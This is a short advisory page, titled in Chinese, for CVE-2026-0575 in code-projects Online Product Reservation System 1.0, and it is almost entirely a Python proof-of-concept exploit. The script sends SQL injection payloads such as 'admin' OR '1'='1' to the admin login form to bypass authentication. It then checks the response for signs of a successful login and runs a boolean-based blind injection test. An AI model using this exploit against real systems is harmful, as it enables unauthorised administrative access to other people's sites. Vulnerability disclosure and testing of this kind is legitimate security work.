CVE-2026-0575: code-projects Online Product Reservation System 1.0 管理员登录SQL注入漏洞

import requests import sys # CVE-2026-0575 PoC - SQL Injection in adminlogin.php # Target: code-projects Online Product Reservation System 1.0 # Component: /handgunner-administrator/adminlogin.php target_url = "http://target-site.com/handgunner-administrator/adminlogin.php" # SQL Injection payload for authentication bypass payloads = [ "admin' OR '1'='1", "admin' OR 1=1--", "' OR '1'='1' --", "' OR 1=1#", "' OR '1'='1' /*" ] def test_sqli_injection(): print(f"[*] Testing CVE-2026-0575 SQL Injection on {target_url}") for payload in payloads: data = { 'emailadd': payload, 'pass': payload } try: response = requests.post(target_url, data=data, timeout=10) # Check for successful login indicators if any(indicator in response.text.lower() for indicator in ['dashboard', 'admin panel', 'logout', 'welcome']): print(f"[+] Potential successful injection with payload: {payload}") print(f"[+] Status code: {response.status_code}") return True else: print(f"[-] Failed with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False # Boolean-based blind SQL injection detection def test_blind_sqli(): true_payload = "' AND 1=1--" false_payload = "' AND 1=2--" print("[*] Testing boolean-based blind SQL injection...") try: # Test true condition data_true = {'emailadd': true_payload, 'pass': 'test'} resp_true = requests.post(target_url, data=data_true, timeout=10) # Test false condition data_false = {'emailadd': false_payload, 'pass': 'test'} resp_false = requests.post(target_url, data=data_false, timeout=10) # If responses differ, blind SQLi is likely present if len(resp_true.text) != len(resp_false.text): print("[+] Blind SQL injection confirmed!") return True except Exception as e: print(f"[!] Error during blind SQLi test: {e}") return False if __name__ == "__main__": test_sqli_injection() test_blind_sqli()